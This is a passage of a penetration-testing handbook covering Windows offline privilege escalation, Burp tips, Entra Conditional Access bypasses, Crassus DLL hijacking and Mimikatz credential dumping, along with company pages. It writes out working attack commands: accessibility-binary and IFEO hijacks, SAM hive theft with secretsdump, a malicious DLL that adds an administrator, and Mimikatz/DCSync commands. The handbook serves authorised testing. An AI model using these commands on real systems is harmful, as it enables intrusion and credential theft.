letter). Verify with `dir` before patching paths below. ## Adding the user to local Administrators With the volume mounted, the goal is to make code run as `NT AUTHORITY\SYSTEM` on the next boot. A few reliable options: ### Sticky Keys hijack (`sethc.exe`) Replace the Sticky Keys binary with `cmd.exe`. Pressing *Shift* five times on the logon screen then spawns a SYSTEM shell. ```cmd copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe ``` Reboot, hit *Shift* x5 at the logon screen and add the target user: ```cmd whoami net localgroup Administrators \ /add ``` For non-English systems, use the localised group name (e.g. `Administratoren` on German Windows) or the well-known SID: ```cmd net localgroup "S-1-5-32-544" \ /add ``` ### Utilman hijack (`utilman.exe`) Same trick, but the binary is launched via *Win + U* (Ease of Access) on the logon screen. Useful if `sethc.exe` is monitored. ```cmd copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe ``` Other accessibility binaries (`osk.exe`, `Narrator.exe`, `DisplaySwitch.exe`, `Magnify.exe`) work equivalently and may evade naive detections. ### Image File Execution Options debugger Instead of overwriting a binary, register a `Debugger` value so the OS launches `cmd.exe` whenever the accessibility tool is invoked. This survives WDAC/AppLocker rules that whitelist `sethc.exe` by hash/path. ```cmd reg load HKLM\TMP C:\Windows\System32\config\SOFTWARE reg add "HKLM\TMP\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f reg unload HKLM\TMP ``` ### Offline SAM / SYSTEM extraction If touching the OS is undesirable, copy the hives off the host and crack/pass-the-hash the local accounts offline: ```cmd copy C:\Windows\System32\config\SAM X:\loot\ copy C:\Windows\System32\config\SYSTEM X:\loot\ copy C:\Windows\System32\config\SECURITY X:\loot\ ``` Then on the attacker host: ```bash impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL ``` ## Cleanup * Restore any binaries that were swapped (`sethc.exe.bak` back to `sethc.exe`). * Remove `Image File Execution Options` keys created during the attack. * Re-enable BitLocker protectors if they were suspended, and document in the report that the disclosed recovery key should be rotated (`manage-bde -protectors -delete C: -type RecoveryPassword` followed by `manage-bde -protectors -add C: -RecoveryPassword`). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/burp-proxy-tips-and-tricks.md --- # Burp Proxy tips and tricks ## Organizer The Organizer tab is Burp's central workspace for tagging and grouping requests and responses identified during an engagement. It helps keeping a clean overview while collecting key evidences, streamlining the path from discovery to final reporting. You can send requests and responses to the Organizer tab using right click "Send to Organizer" or the CTRL+O shortcut. ![Sending request to the Organizer workspace](/images/burp-organizer1.png){width="auto"} Every new sent request is stored in the "Inbox" collection. ![Requests stored in Organizer workspace](/images/burp-organizer2.png){width="auto"} To keep the full attack path step by step in one place you can create collections and move requests into it. ![Creating collections for grouping requests](/images/burp-organizer4.png){width="auto"} ## Collector (Extension) Collector is an automation extension used for dynamic extraction and injection of tokens, such as JSON Web Tokens or UUIDs, across HTTP traffic. It eliminates manual updates by automatically capturing tokens from responses and injecting them into subsequent requests, ensuring your test cases remain valid without constant manual intervention. The extension can be downloaded from Github here [Tib3rius - Collector](https://github.com/Tib3rius/Collector). ### Use case 1 - automatically replace JWT access tokens Using Collector to automatically update JWT bearer tokens in Burp Suite for: * Scanner * Intruder * Repeater * ... To configure token handling you need to setup Bucket Configuration and decide how, when and ...\ ![Bucket Configuration](/images/burp-collector1.png){width="auto"} ... where tokens are collected. ![Token collection](/images/burp-collector2.png){width="auto"} For token extraction regex patterns are used. This example regex extracts the access\_token field from response to get the JWT token: `"access_token":"([^"]+)"` ![Regex for token extraction](/images/burp-collector3.png){width="auto"} Now that we have collected our token, we need to configure in which Burp tools we want to replace it and in which format the token needs to be inserted. ![Token replacement1](/images/burp-collector4.png){width="auto"} In the last step we need to configure in which location (Header, URL Parameter, Body Parameter, Cookie) and which value (e.g. Authorization Header) we want to use our collected token for replacement. ![Token replacement2](/images/burp-collector5.png){width="auto"} Tokens are now collected and updated automatically. ### Use case 2 - Collect tokens via UUID pattern to dynamically extract UUIDs based on format For collecting all tokens (UUIDs) we configure max size in our bucket to -1. This tracks all tokens and returns us a list of all UUIDs found during browsing the application. ![Bucket configuration](/images/burp-collector6.png){width="auto"} To extract all UUIDs seen in the proxy we use the following regex pattern: `([a-f0-9]{8}-[a-f0-9]{4}-[1-5][a-f0-9]{3}-[89ab][a-f0-9]{3}-[a-f0-9]{12})` ![Token collection configuration](/images/burp-collector7.png){width="auto"} Browsing the application we can see that all UUIDs are collected. ![Collecting UUIDs while browsing the application](/images/burp-collector8.png){width="auto"} ### Use case 3 - collector in combination with AuthAnalyzer extension In [Auth Analyzer](https://github.com/portswigger/auth-analyzer) configure a new session and insert a placeholder dummy value into the Headers to replace section. E.g. `Authorization: Bearer __USER__` ![Auth Analyzer configuration for Bearer token replacement](/images/burp-collector9.png){width="auto"} In collector follow these steps: * Configure "Token collection" as described above * Switch to "Token replacement" * Configure "Replacement URLs" * In "Replacement URLs" click "add" * configure "Location" with "Generic Regex" and enter "Regex Pattern" `(?im)^Authorization:\s*Bearer\s+(__USER__)\s*$` in case of other users substitute `__USER__` ![Regex configuration for Auth Analyzer token replacement](/images/burp-collector10.png){width="auto"} Known quirks: * The endpoint used to retrieve new JWTs/access tokens is usually the same for all users, so it is not possible to differentiate between them. Therefore enabling / disabling every bucket and refreshing the page to retrieve a new token is required. * After retrieving tokens configure "When bucket is full: Reject new tokens" to prevent tokens from being overwritten. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/difference-between-canvas-apps-and-model-driven-apps.md description: >- Key differences between Power Apps canvas apps and model-driven apps, and when to use each. --- # Canvas apps vs model-driven apps ## 1. Core difference | Aspect | Canvas apps | Model-driven apps | | --- | --- | --- | | **Design approach** | Pixel-perfect, drag-and-drop UI design. You control placement of controls, colors, and layout. | Data-first, form-driven. The UI is generated automatically based on Dataverse tables, forms, and relationships. | | **Data source** | Can use Dataverse, SharePoint, SQL, Excel, APIs, etc. | Primarily Dataverse (must use structured tables and relationships). | | **Customization flexibility** | Very high — full control of UI, interactions, and formulas (Power Fx). | Limited UI customization — layout is mostly defined by system forms, views, and dashboards. | | **Complexity** | Best for specific tasks, workflows, or dashboards where UI matters. | Best for complex business processes that involve many related tables and forms. | | **Development skill** | Low to medium — drag-and-drop, Power Fx formulas. | Medium — understanding of Dataverse, tables, relationships, and business process flows. | | **Responsive design** | Yes, fully customizable to phone, tablet, or desktop | Limited — automatically adapts, but layout is system-driven | | **Use cases** | Custom portals, surveys, expense forms, approval apps | CRM, helpdesk systems, inventory management, case management | ## 2. Key characteristics of canvas apps * You start with a blank canvas and design your app like PowerPoint. * You choose the layout: phone, tablet, or web. * You define logic with Power Fx formulas (similar to Excel). * You can connect to many data sources, not limited to Dataverse. * Ideal for task-specific apps or mobile-friendly interfaces. **Example:** A mobile app for field technicians to submit maintenance reports using a custom layout and camera input. ## 3. Key characteristics of model-driven apps * You start with data: Dataverse tables and relationships define the structure. * UI is auto-generated based on forms, views, and dashboards. * Includes business process flows (step-by-step guided processes). * Security roles control who sees what data at the table or record level. * Ideal for complex business processes, multiple related entities, and enterprise applications. **Example:** A helpdesk system where tickets, departments, employees, and SLA rules are all tracked and related. ## 4. When to use each | Scenario | Recommended app type | | --- | --- | | You want a custom branded mobile app with precise layout | Canvas | | You need to manage and relate complex data with processes | Model-driven | | Data comes from multiple external sources | Canvas | | Data is mainly in Dataverse and has complex relationships | Model-driven | | You want quick automation for a task | Canvas | | You want a full CRM or ERP-like system | Model-driven | ## 5. How they fit in Power Platform ``` Power Platform ├─ Power Apps │ ├─ Canvas Apps (UI-first, flexible, multi-data source) │ └─ Model-driven Apps (Data-first, Dataverse, process-driven) ├─ Power Automate ├─ Power BI └─ Power Virtual Agents ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/cheat-sheets.md description: Curated external cheat sheets referenced in our web application testing notes. --- # Cheat sheets This page is a small set of **high-signal external references**. Use it when you need quick reminders on: * **Input validation in Node.js** (what to validate, where, and common pitfalls) * **SSRF URL validation bypass patterns** (how allowlists/regex checks are commonly bypassed) - JS URL parameter parsing cheat sheet: - URL validation bypass cheat sheet (SSRF): --- --- url: 'https://handbook.syslifters.com/pentesting-manual/entraid-azure/checklist.md' description: >- Practical checklist for Entra ID and Azure assessments, including CA policy review, tooling, and common risk areas. --- # Checklist ### Entra / Azure Test * \[ ] Pingcastle Entra ID Scan to look for overly-permissive applications * \[ ] [Identity & policy enumeration](./enumeration/identity-and-policy-enumeration) (ROADtools) for * \[ ] Synced Admin Accounts & non Admin Accounts with Entra Roles * \[ ] Test for Device Code Flow Authentication Flow Login * \[ ] [Attack-path data collection](./enumeration/attack-path-data-collection) (AzureHound) for Entra / Azure Attack Path Enumeration * \[ ] Privileged Identity Management (PIM) active? * \[ ] directly assigned Roles * \[ ] [Conditional Access Policies](./defense-evasion/conditional-access) audit * \[ ] Admin Accounts without phishing resistant MFA * \[ ] Use of Privileged Access Workstations (PAWs) * \[ ] Device Code Flow Login * \[ ] Legacy Authentication * \[ ] MFA for all Users * \[ ] MFA usage Break-Glass-Account? * \[ ] Exclusions from CA Policies * \[ ] External / Partner Permissions for Access on Tenant? * \[ ] [https://learn.microsoft.com/en-us/partner-center/customers/customers-revoke-admin-privileges](https://learn.microsoft.com/en-us/partner-center/customers/customers-revoke-admin-privileges#customers-can-find-which-partners-have-delegated-admin-privileges) * \[ ] * \[ ] * \[ ] Azure Resource / Resource Group Permissions * \[ ] [Azure Arc](./lateral-movement/azure-arc) * \[ ] Guest User / Invitation Policy * \[ ] Self Service Password Reset Config * \[ ] Sysleaks * \[ ] Entra Portal Access for standard Users * \[ ] Dynamic Groups * \[ ] Intune Configuration * \[ ] Sensitive Files on Sharepoint --- --- url: 'https://handbook.syslifters.com/about-us/christoph.md' description: >- Profile page for Christoph Mahrl with contact details, experience, and certifications. --- christoph@syslifters.com ( S/MIME [cer](/assets/christoph.cer)/[pem](/assets/christoph.pem){target="\_blank" rel="noreferrer"}) * **seit 04/2022** Co-Founder and Executive Director of Syslifters GmbH * **2020 - 2022** Penetration Tester at A1 Digital International GmbH * Red Teaming * Web- & Infrastructure Pentesting * **2019 - 2020** Penetration Tester at it.sec GmbH * Web- & Infrastructure Pentesting * **2018 - 2019** Information Security Consultant at ACP IT Solutions GmbH * Security Operation Center (SOC) * Awareness Trainings * **2015 - 2017** Security Consultant at SBA Research gGmbH - University of Applied Sciences St. Pölten * Information Security (DI) * IT-Security (BSc, Focus: Malware analysis & IT forensics) - Engineering College (HTBLuVA) St. Pölten EDV und Organisation * Computer Science * Business Administration - Offensive Security Certified Professional (OSCP) - Cisco Certified Network Associate Routing and Switching (CCNA), valid until 2016 - ITIL v3 Foundation Certificate - Oracle Certified Professional Java SE Programmer - B2 Business Englisch Certificates (BEC) Vantage - XINTRA Attacking and Defending Azure & M365 * Pentester of IT systems of the Deutsche Bundesbank within the German remit within the Four Central Banks and connected systems such as TARGET2-Securities of the European Central Bank (ECB). ([Source](https://www.b4bschwaben.de/b4b-nachrichten/ulm-neu-ulm_artikel,-itspezialist-aus-ulm-hackt-deutsche-zentralbank-_arid,257798.html){ target="\_blank" }) * Financial services, processes and procedures * Complex attack scenarios based on realistic threat analyses * Exchange with cyber defence teams * Volunteer paramedic at the Austrian Red Cross --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/christoph.md' description: >- Profilseite und Lebenslauf von Christoph Mahrl mit Kontakt, Erfahrung und Zertifikaten. --- christoph@syslifters.com ( S/MIME [cer](/assets/christoph.cer)/[pem](/assets/christoph.pem){target="\_blank" rel="noreferrer"}) * **seit 04/2022** Mitgründer und Geschäftsführer der Syslifters GmbH * **2020 - 2022** Penetration Tester bei A1 Digital International GmbH * Red Teaming * Web- & Infrastruktur Pentesting * **2019 - 2020** Penetration Tester bei it.sec GmbH * Web- & Infrastruktur Pentesting * **2018 - 2019** Information Security Consultant bei ACP IT Solutions GmbH * Security Operation Center (SOC) * Awareness Trainings * **2015 - 2017** Security Consultant bei SBA Research gGmbH - Fachhochschule St. Pölten * Information Security (DI) * IT-Security (BSc, Schwerpunkt Malwareanalyse & IT-Forensik) - HTBLuVA St. Pölten EDV und Organisation * Informatik * Betriebswirtschaft - Offensive Security Certified Professional (OSCP) - Cisco Certified Network Associate Routing and Switching (CCNA), gültig bis 2016 - ITIL v3 Foundation Certificate - Oracle Certified Professional Java SE Programmer - B2 Business Englisch Certificates (BEC) Vantage - XINTRA Attacking and Defending Azure & M365 * Pentester von IT-Systemen der Deutschen Bundesbank im Rahmen des deutschen Aufgabenbereichs innerhalb der Four Central Banks und angeschlossene Systeme wie TARGET2-Securities der Europäischen Zentralbank (EZB). ([Quelle](https://www.b4bschwaben.de/b4b-nachrichten/ulm-neu-ulm_artikel,-itspezialist-aus-ulm-hackt-deutsche-zentralbank-_arid,257798.html){ target="\_blank" }) * finanztechnische Dienste, Prozesse und Abläufe * komplexe Angriffsszenarien auf Basis realistischer Bedrohungsanalysen * Austausch mit Cyber-Verteidigungsteams * Ehrenamtlicher Rettungssanitäter beim Österreichischen Roten Kreuz --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/common-security-issues-financial-apps.md description: >- Reference material for checkout/payment and financially oriented web application issues. --- # Common security issues in financial web apps Use this reference when testing **anything that moves money or value** (cart/checkout, invoices, credits, refunds, discounts, subscriptions). Common themes to look for: * **State desync** between client/server or between microservices (cart vs payment vs fulfillment) * **Price/quantity/discount manipulation** (rounding, negative values, duplicated coupon application) * **Workflow abuse** (replay, race conditions, partial completion, refund edge cases) Reference material: * [`common-security-issues-in-financially-orientated-web.pdf--2-.pdf`](https://soroush.me/downloadable/common-security-issues-in-financially-orientated-web-applications.pdf) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/defense-evasion/conditional-access.md description: >- Auditing Entra ID Conditional Access policies and the built-in bypasses that apply to a tenant. --- # Conditional Access Microsoft Entra Conditional Access (CA) is the [Zero Trust policy engine](https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview#:~:text=Conditional%20Access%20is%20Microsoft%27s%20Zero%20Trust%20policy%20engine) that gates access to resources on signals like MFA, device compliance, trusted network, and authentication strength. From an attacker's point of view, any way to reach a token *without* satisfying a grant control is a bypass, whether it stems from a tenant misconfiguration or from how Microsoft itself wires up first-party apps and resources. This page covers both angles: what to audit during an engagement, and which built-in bypasses still work as of late 2025. Bypasses split into two buckets: misconfiguration (the tenant admin's mistake) and built-in (Microsoft's design or undocumented behaviour). ## Misconfiguration bypasses These are what most engagements actually find. Verify each against the customer's exported CA policies (`roadrecon plugin policies -f caps.html -p`, see [Identity & policy enumeration](../enumeration/identity-and-policy-enumeration#export-ca-policies)). * User / group exclusions: "Break-glass" accounts excluded from every policy and not behind a phishing-resistant MFA method. Synced or guest accounts in the exclusion list that nobody noticed. * App exclusions: Whole app exclusions from "All cloud apps" policies. See *Resource exclusion bypass* below for the side effect even a single exclusion has. * Condition gaps: Missing platforms (e.g. only Windows/macOS targeted, leaving Linux/Other untouched), missing client app types (legacy auth not blocked), or trusted locations that are too generous. * Grant control weakness: "Require one of the selected controls" (logical OR) instead of "Require all" (AND). MFA OR compliant device means either is enough, so an attacker who steals a refresh token from a compliant device doesn't need MFA, and an attacker who phishes MFA doesn't need a compliant device. * Report-only policies left in report-only mode: intent was clearly to enforce; nobody flipped the toggle. * Session controls without sign-in frequency: long-lived sessions defeat the point of "require MFA every X hours" or "require compliant device" if no SIF policy forces re-evaluation. * Legacy authentication still reachable: Microsoft disabled basic auth for most Exchange Online protocols (IMAP, POP, EAS, EWS, MAPI, RPC, Remote PowerShell) back in October 2022, but SMTP AUTH retirement was [delayed to end of December 2026](https://techcommunity.microsoft.com/blog/exchange/exchange-online-to-retire-basic-auth-for-client-submission-smtp-auth/4114750) and remains on by default until then. Until that cutoff (and afterwards on any mailbox where an admin re-enabled it), SMTP AUTH and app passwords still strip MFA entirely. The `Block legacy authentication` CA template plus tenant-wide `Set-TransportConfig -SmtpClientAuthenticationDisabled $true` remain the belt-and-braces controls. Also check for third-party / hybrid LOB apps that surface basic auth through federation. * Device code flow not blocked or scoped: phishable on any user who isn't trained for it. See the device code flow notes on the [Attack-path data collection](../enumeration/attack-path-data-collection#authentication-device-code-flow) page. ## Built-in / by-design bypasses The following are baked into how Entra handles certain first-party apps and resources. They apply *even when CA is perfectly configured*. ### Resource exclusion bypass If a CA policy excludes any resource from a "All cloud apps" rule, the following scope combinations stop being covered by that policy, for *every* resource, not just the excluded one: * Azure AD Graph: `email`, `offline_access`, `openid`, `profile`, `User.Read` * Microsoft Graph: `email`, `offline_access`, `openid`, `profile`, `User.Read`, `People.Read` So a policy that excludes one obscure app for compatibility silently weakens directory-data protection across the tenant. Microsoft [documents this](https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps#conditional-access-behavior-when-an-all-resources-policy-has-an-app-exclusion); most admins miss it. Audit angle: flag any "All cloud apps" policy with non-empty exclusions, then check if a second additive policy specifically protects the Microsoft Graph / Azure AD Graph scopes above. ### Device registration bypass The resource Device Registration Service (`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9`) can only be gated by *Require MFA*. Trusted location, compliant device, and compliant network grants do not apply (confirmed by MSRC as VULN-153600, working as intended). Impact: an attacker with valid credentials + MFA can register a rogue device from an untrusted network even if the tenant otherwise blocks all sign-ins from untrusted locations. Audit angle: confirm `Require multifactor authentication for device registration` is enabled ([Microsoft guidance](https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-all-users-device-registration)), and don't rely on location/compliance for device registration. ### Global Secure Access (GSA) bypass When a CA policy uses the *Compliant Network* grant, all GSA bootstrap resources are [automatically excluded](https://learn.microsoft.com/en-us/entra/global-secure-access/how-to-compliant-network#:~:text=Global%20Secure%20Access%20resources%20are%20automatically%20excluded%20from%20the%20Conditional%20Access%20policy%20when%20Compliant%20Network%20is%20enabled%20in%20the%20policy.) so the user can actually connect to the GSA tunnel that proves they're on the compliant network. Required, but means the GSA client resources themselves cannot be protected via this grant. ### Device Management Service bypass The resource Device Management Service (`cb58b23f-9a26-4ef4-9e9e-ca08567ef56c`) is reachable through the Microsoft Teams client id (`1fec8e78-bce4-4aaf-ab1b-5451cc387264`) without a compliant-device grant being enforced. The token includes `DeviceManagement.Read` and `user_impersonation`. MSRC closed this as by-design; no public abuse path is known as of late 2025, but the CA bypass itself is real (the sign-in log shows the policy result as `failure` while `ConditionalAccessStatus` is `success`). ### Resources permanently outside CA For a handful of first-party resources, CA enforcement is hard-coded to `notApplied`. There is no policy that will gate token issuance for them: | Resource id | Resource name | | --- | --- | | `26a4ae64-5862-427f-a9b0-044e62572a4f` | Microsoft Intune Checkin | | `04436913-cf0d-4d2a-9cc6-2ffe7f1d3d1c` | Windows Notification Service | | `0a5f63c0-b750-4f38-a71c-4fc0d58b89e2` | Microsoft Mobile Application Management | | `1f5530b3-261a-47a9-b357-ded261e17918` | Azure Multi-Factor Auth Connector | | `c2ada927-a9e2-4564-aae2-70775a2fa0af` | OCaaS Client Interaction Service | | `ff9ebd75-fe62-434a-a6ce-b3f0a8592eaf` | Authenticator App | Practical attacker use case: any client app that has pre-consented scopes on one of these resources can be used to *verify a password without triggering MFA*. The sign-in does not produce `50074 - Strong Authentication is required`, which makes it a quieter password spray / validation primitive than the usual endpoints. Per-user MFA (the legacy, non-CA mechanism) *does* still enforce on these resources, one of the rare cases where the older feature is stricter. Look up which apps have pre-consented scopes on a given resource at [entrascopes.com](https://entrascopes.com/). ## Audit checklist Run through these on every Entra engagement (links into the wider tooling docs in this section): * \[ ] Export CA policies with [ROADtools](../enumeration/identity-and-policy-enumeration#export-ca-policies) and review them as code, not in the portal UI. * \[ ] Verify every "All cloud apps" rule for exclusions; if any exist, confirm an additive policy protects the Graph / AAD Graph scopes listed above. * \[ ] Confirm a baseline `Require MFA for all users` policy exists ([Microsoft template](https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-all-users-mfa-strength)). * \[ ] Confirm a dedicated policy enforces MFA for device registration. * \[ ] Confirm SMTP AUTH is disabled tenant-wide (`Set-TransportConfig -SmtpClientAuthenticationDisabled $true`) and the `Block legacy authentication` CA template is active. Other Exchange basic-auth protocols were retired in 2022, but SMTP AUTH stays on by default until end of December 2026 ([Microsoft timeline](https://techcommunity.microsoft.com/blog/exchange/exchange-online-to-retire-basic-auth-for-client-submission-smtp-auth/4114750)). * \[ ] Confirm grants combine with AND, not OR, for MFA + compliant device / trusted network combinations. * \[ ] Check break-glass account count, exclusion scope, MFA method, and password vaulting. * \[ ] Check whether device code flow is blocked or scoped to specific user groups. * \[ ] Run [Maester](https://maester.dev/) for an automated baseline against well-known CA best practices. * \[ ] Cross-reference the customer's first-party app inventory with [entrascopes.com](https://entrascopes.com/) to spot apps with pre-consented scopes on the always-excluded resources above. ## References * [Conditional Access bypasses - Cloudbrothers](https://cloudbrothers.info/en/conditional-access-bypasses/) * [TROOPERS25 talk - Finding Entra ID CA Bypasses the structured way](https://youtu.be/yYQBeDFEkps) ([slides](http://cloudbrothers.info/slides/TROOPERS25-FindingEntraIDCABypassesTheStructuredWay.pdf)) * [Family of Client IDs (FOCI) research - Secureworks](https://github.com/secureworks/family-of-client-ids-research) * [Conditional Access behaviour when an All-resources policy has an app exclusion - Microsoft Learn](https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps#conditional-access-behavior-when-an-all-resources-policy-has-an-app-exclusion) * [Require MFA for device registration - Microsoft Learn](https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-all-users-device-registration) * [Compliant Network excludes GSA resources - Microsoft Learn](https://learn.microsoft.com/en-us/entra/global-secure-access/how-to-compliant-network) * [entrascopes.com - app / resource / scope database](https://entrascopes.com/) * [Maester - Microsoft 365 security test framework](https://maester.dev/) --- --- url: 'https://handbook.syslifters.com/contact-us.md' description: >- How to contact Syslifters — get in touch with our team by email (S/MIME supported), Signal, phone, LinkedIn, or GitHub. --- # Contact us --- --- url: 'https://handbook.syslifters.com/organization/corporate-identity.md' description: >- Brand assets and guidelines for Syslifters/SysReptor/SysLeaks - logos, colors, badges, and fonts. --- # Corporate identity ## General ### We love Europe We are a European company and are proud of our roots in Europe. Are you too? We publish the following EU badges under **CC0** (Creative Commons Zero):\ You may use, modify, and distribute them freely, without attribution. ![Hosted in Europe](/assets/hosted_in_europe.svg){ width="300"; } ![Made in Europe](/assets/made_in_europe.svg){ width="300"; } ## Syslifters ### Logos ![Syslifters Bildschrift](/images/Logo-Bildschrift.svg){ width="300"; } ![Syslifters Bildlogo](/images/Logo-Bildlogo.svg){ width="300"; } ![Syslifters Tower-Bildschrift](/images/Logo-Tower-Bildschrift.svg){ width="300"; } ![Syslifters Tower-Bildlogo](/images/Logo-Tower-Bildlogo.svg){ width="300"; } Logo color can be: ### Colors `#366062` `#3facaf` `#9bd4db` `#daba17` `#eaca09` `#ffed7b` `#1e1e1d` `#4f4f4f` `#d6d6d6` `#ededed` ### Font Find our font **Noto Sans** on Google Fonts: {target="\_blank"} ## SysReptor ### Logos ![SysReptor Bildschrift](/images/SysReptor-Logo-Bildschrift.svg){ width="300"; } ![SysReptor Bildlogo](/images/SysReptor-Logo-Bildlogo.svg){ width="300"; } ![SysReptor Tower-Bildschrift](/images/SysReptor-Logo-Tower-Bildschrift.svg){ width="300"; } ![SysReptor Tower-Bildlogo](/images/SysReptor-Logo-Tower-Bildlogo.svg){ width="300"; } ### Dinos ![Dino One](/images/SysReptor-Dino-One.svg){ width="300"; style="max-height:250px" } ![Dino Two](/images/SysReptor-Dino-Two.svg){ width="300"; style="max-height:250px"} ![Dino Bike](/images/SysReptor-Dino-Bike.svg){ width="300"; style="max-height:250px"} ![Dino Cake](/images/SysReptor-Dino-Cake.svg){ width="300"; style="max-height:250px"} ![Dino Notes](/images/SysReptor-Dino-Notes.svg){ width="300"; style="max-height:250px"} ![Dine Not Found](/images/SysReptor-Dino-Notfound.svg){ width="300"; style="max-height:250px"} ![Dino Christmas](/images/SysReptor-Dino-Christmas.svg){ width="300"; style="max-height:250px"} ![Dino Shield](/images/SysReptor-Dino-Shield.svg){ width="300"; style="max-height:250px"} ![Dino One Outline](/images/SysReptor-Dino-One-Outline.svg){ width="300"; style="max-height:250px"} ![Dino Two Outline](/images/SysReptor-Dino-Two-Outline.svg){ width="300"; style="max-height:250px"} ![Dino Bike Outline](/images/SysReptor-Dino-Bike-Outline.svg){ width="300"; style="max-height:250px"} ![Dino Cake Outline](/images/SysReptor-Dino-Cake-Outline.svg){ width="300"; style="max-height:250px"} ![Dino Notes Outline](/images/SysReptor-Dino-Notes-Outline.svg){ width="300"; style="max-height:250px"} ![Dino Not Found Outline](/images/SysReptor-Dino-Notfound-Outline.svg){ width="300"; style="max-height:250px"} ![Dino Shield Outline](/images/SysReptor-Dino-Shield-Outline.svg){ width="300"; style="max-height:250px"} ### Colors `#aabb11` `#818b06` `#1E1E1E` `#4f4f4f` `#f0f0f0` `#ffffff` ## SysLeaks ### Logos ![SysLeaks Bildschrift](/images/SysLeaks-Logo-Bildschrift.svg){ width="300"; } ![SysLeaks Bildlogo](/images/SysLeaks-Logo-Bildlogo.svg){ width="300"; } ![SysLeaks Tower-Bildschrift](/images/SysLeaks-Logo-Tower-Bildschrift.svg){ width="300"; } ![SysLeaks Tower-Bildlogo](/images/SysLeaks-Logo-Tower-Bildlogo.svg){ width="300"; } ### Colors `#ff9234` `#e66b00` `#1E1E1E` `#4f4f4f` `#f0f0f0` `#ffffff` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/privilege-escalation/crassus.md description: >- Using Crassus to discover LPE candidates (writable paths, missing DLLs) from a Process Monitor boot log and weaponise them via DLL hijacking. --- # Crassus [Crassus](https://github.com/vu-ls/Crassus) is both a discovery tool and an enabler for exploitation: * It parses a Process Monitor boot log and reports LPE candidates (writable directories on the service search path, missing DLLs referenced by services or scheduled tasks, and binaries that load from user-controlled locations). * For each candidate it suggests how to weaponise it (typically a DLL planted in a writable directory that gets loaded by a privileged process at boot or service start). ## Collecting a boot log 1. In [ProcMon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) enable boot logging under `Options > Enable Boot Logging` 2. Reboot the machine and open as many programs as you like, don't forget to install tools from the Softwarecenter. Make sure to not use your admin credentials when installing other software. 3. Reopen ProcMon and save the logfile to `C:\Bootlog.pml` 4. After running `Crassus.exe C:\Bootlog.pml` check the LPE candidates. Redo this step if there are multiple logfiles. * The code samples in the `stubs` directory are mostly non-functional. Find a working code sample below. * Compile the code sample. ### Compile example from Linux The following code sample adds the user `hacker` to the local `Administrators` group.\ Known quirks: * The user `hacker` doesn't exist. * The group `Administators` doesn't exist (in non-English Windows Systems). * The binary is compiled for the wrong architecture (32 bit vs 64 bit). ```cpp #include extern "C" { BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { system("cmd.exe /c net localgroup administrators hacker /add"); return TRUE; } #ifdef ADD_EXPORTS #endif } ``` The following commands compile the `ubsec.dll` from `ubsec.cpp` and `ubsec.o`. ```bash # 32-bit DLL i686-w64-mingw32-g++ -c -o ubsec.o ubsec.cpp -D ADD_EXPORTS i686-w64-mingw32-g++ -o ubsec.dll ubsec.o ubsec.def -s -shared -Wl,--subsystem,windows # 64-bit DLL x86_64-w64-mingw32-g++ -c -o ubsec.o ubsec.cpp -D ADD_EXPORTS x86_64-w64-mingw32-g++ -o ubsec.dll ubsec.o ubsec.def -s -shared -Wl,--subsystem,windows ``` After placing the compiled dll file to the vulnerable location, make the target system execute it (usually by reboot the server or restarting the service). ::: tip Local privilege escalation via Kerberos relaying For the no-fix Kerberos-relay LPE chain (KrbRelay + RBCD or shadow credentials + SCM UAC bypass), see [LPE via NTLM and Kerberos relaying](./kerberos-relaying). For automated PrivescCheck-based discovery, see [PrivescCheck](./privesc-check). ::: --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/create-security-roles-and-set-permissions.md description: >- Microsoft Learn references for Dataverse security roles, privileges, and user security configuration. --- # Create security roles and set permissions ### Security roles and privileges ### Role-based security roles ### Configure user security in an environment --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/credential-access/credential-dumping.md description: >- Notes and commands for credential dumping in AD environments (e.g., Mimikatz, SCCM). --- # Credential dumping ## LaZagne TODO ## Mimikatz | Command | Privileges | Description | | --- | --- | --- | | `lsadump::sam` | Admin | Dump credentials from the Security Account Manager | | `lsadump::cache` | Admin | Dump domain cached credentials. These can be cracked offline to extract the password. | | `lsadump::dcsync` | Domain Admin | Perform a DC-Sync attack | | `sekurlsa::logonpasswords` | Admin | Dump NTLM hashes and plaintext passwords from memory | | `sekurlsa::ekeys` | Admin | Dump Kerberos encryption keys of currently logged on users (often more useful, as Windows services typically use Kerberos instead of NTLM) | | `crypto::certificates /export` | User / Admin | Dump user certificates to disk. Password will be `mimikatz`. If you have admin rights, supply `/systemstore:local_machine` to dump computer certificates. | | `mimikatz sekurlsa::dpapi` | Local Admin | If the keys are stored in LSASS, dump them using this command | | `mimikatz dpapi::masterkey /in:%appdata%\\Microsoft\\Protect\\GUID /rpc` | User | Requests the user credentials using RPC from the DC (requires impersonation). | | `ts::multirdp` | Admin | Requires `privilege::debug` beforehand. Enable RDP access for two users. | Trust dumping docs: ### DCsync ```powershell Using 'a.dcsync' for logfile : OK mimikatz # lsadump::dcsync /csv /all [DC] 'lab.local' will be the domain [DC] 'DC1.lab.local' will be the DC server ``` ### Bypass PPL protection ```powershell mimikatz # privilege::debug 